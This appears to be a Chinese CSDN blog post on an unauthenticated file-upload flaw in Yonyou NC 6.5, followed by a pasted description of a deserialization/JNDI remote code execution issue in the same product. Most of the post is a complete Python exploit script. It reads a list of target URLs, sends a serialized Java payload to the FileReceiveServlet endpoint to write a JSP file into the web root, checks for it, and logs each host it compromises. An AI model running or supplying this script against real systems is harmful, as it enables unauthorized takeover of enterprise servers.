用友python模块_最新用友NC6.5文件上传漏洞

0x00漏洞公告

用友NC产品文件上传的漏洞,恶意攻击者可以通过该漏洞上传任意文件,从而可能导致获取到目标系统管理权限,目前,官方暂未发布补丁公告,建议使用该产品用户及时关注官方安全漏洞公告和补丁更新动态。

0x01影响范围

用友NC远程代码执行漏洞影响版本:NC6.5之后版本。

0x02漏洞描述

根据分析,漏洞为文件上传漏洞,在无需登陆系统的情况下,通过某接口直接上传文件,恶意攻击者成功利用该漏洞可获得目标系统管理权限,系统如果直接暴露在互联网上风险较大,建议及时排查。

0x03 漏洞exp

这EXP是从Tools上的,利用成功后会向根目录写入一个T00ls.jsp文件,禁止利用于非法用途。

import requests

import threadpool

import urllib3

import sys

import argparse

urllib3.disable_warnings()

proxies = {'http': 'http://localhost:8080', 'https': 'http://localhost:8080'}

header = {

"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36",

"Content-Type": "application/x-www-form-urlencoded",

"Referer": "https://google.com",

}

def multithreading(funcname, filename="url.txt", pools=5):

works = []

with open(filename, "r") as f:

for i in f:

func_params = [i.rstrip("\n")]

works.append((func_params, None))

pool = threadpool.ThreadPool(pools)

reqs = threadpool.makeRequests(funcname, works)

[pool.putRequest(req) for req in reqs]

pool.wait()

def wirte_targets(vurl, filename):

with open(filename, "a+") as f:

f.write(vurl + "\n")

return vurl

def exp(u):

uploadHeader = {

"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36",

"Content-Type": "multipart/form-data;",

"Referer": "https://google.com"

}

uploadData = "\xac\xed\x00\x05\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x48\x61\x73\x68\x4d\x61\x70\x05\x07\xda\xc1\xc3\x16\x60\xd1\x03\x00\x02\x46\x00\x0a\x6c\x6f\x61\x64\x46\x61\x63\x74\x6f\x72\x49\x00\x09\x74\x68\x72\x65\x73\x68\x6f\x6c\x64\x78\x70\x3f\x40\x00\x00\x00\x00\x00\x0c\x77\x08\x00\x00\x00\x10\x00\x00\x00\x02\x74\x00\x09\x46\x49\x4c\x45\x5f\x4e\x41\x4d\x45\x74\x00\x09\x74\x30\x30\x6c\x73\x2e\x6a\x73\x70\x74\x00\x10\x54\x41\x52\x47\x45\x54\x5f\x46\x49\x4c\x45\x5f\x50\x41\x54\x48\x74\x00\x10\x2e\x2f\x77\x65\x62\x61\x70\x70\x73\x2f\x6e\x63\x5f\x77\x65\x62\x78"

shellFlag="t0test0ls"

uploadData+=shellFlag

try:

req1 = requests.post(u + "/servlet/FileReceiveServlet", headers=uploadHeader, verify=False, data=uploadData, timeout=25)

if req1.status_code == 200 :

req3=requests.get(u+"/t00ls.jsp",headers=header, verify=False, timeout=25)

if req3.text.index(shellFlag)>=0:

printFlag = "[Getshell]" + u+"/t00ls.jsp" + "\n"

print (printFlag)

wirte_targets(printFlag, "vuln.txt")

except :

pass

#print(printFlag, end="")

if __name__ == "__main__":

if (len(sys.argv)) < 2:

print('useage : python' +str(sys.argv[0]) + ' -h')

else:

parser =argparse.ArgumentParser()

parser.description ='YONYOU UC 6.5 FILE UPLOAD!'

parser.add_argument('-u',help="url -> example [url]http://127.0.0.1[/url]",type=str,dest='check_url')

parser.add_argument('-r',help="url list to file",type=str,dest='check_file')

args =parser.parse_args()

if args.check_url:

exp(args.check_url)

if(args.check_file):

multithreading(exp, args.check_file, 8)

其实代码里面带了代理功能,可以通过Burp抓包看他请求的一个数据包

f9551d518de88af582bb47f4ec68e0d6.png

8d92dbf57259f26e93e5be2b1a071758.png

本文地址:https://blog.csdn.net/weixin_44578334/article/details/110917053

如您对本文有疑问或者有任何想说的,请点击进行留言回复,万千网友为您解惑!

用友 NC 是一款企业级管理软件,在近万家大中型企业使用。实现建模、开发、继承、运行、管理一体化的 IT 解决方案信息化平台,其代码实现逻辑上存在多处反序列化漏洞。   2020 年 6 月 4 日,有国内安全组织披露用友 NC 存在反序列化远程命令执行“0-Day”漏洞。经分析,漏洞真实存在,攻击者通过构造特定的 HTTP 请求,可以成功利用漏洞在目标服务器上执行任意命令,该漏洞风险极大,可能造成严重的信息泄露事件。鉴于漏洞利用的源代码已经公开,建议用户尽快修复此漏洞。   2、攻击原理   通过UClient打开用友NC,UClient本质为UBroswer,一个专用的用友NC浏览器嵌入了JAVA运行环境,以解决NC 6系列之前的版本中applet在不同设备上的应用问题。经过文件目录查看分析得知用友UClient安装后,会在用户目录下新建uclient文件夹,根据看到的NCLogin65.jar文件,结合java运行进程信息,分析得知是一些界面和登陆逻辑代码,nc_client_home则是NC应用依赖的其他一些代码和jar包,因此可以使用Luyten反编译工具查看NCLogin65.jar,通过简单运行NC应用,尝试进行用户登陆,使用wireshark抓包,查看app.log运行日志,发现大量serialize和deserialize,说明系统中应用了序列化方式来传送数据。在LoginUI类中的login方法打断点,启动Idea进行跟踪调试,当跟踪到loginImple方法时,发现多处调用了NCLocator的lookup方法查找Service接口进行操作,通过跟踪发现,实际使用了RmiNCLocator类,RmiNCLocator类的lookup方法,这里的lookup,已初步判断出无需继续跟踪调试,可以直接通过jndi注入漏洞进行利用。   黑客就是通过构造特定的 HTTP 请求,成功利用漏洞可在目标服务器上执行任意命令,漏洞暂无安全补丁发布,属 0Day 等级,风险极大。黑客利用漏洞可完全控制服务器,获取服务器的敏感信息。   3、影响范围   用友NC全版本
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值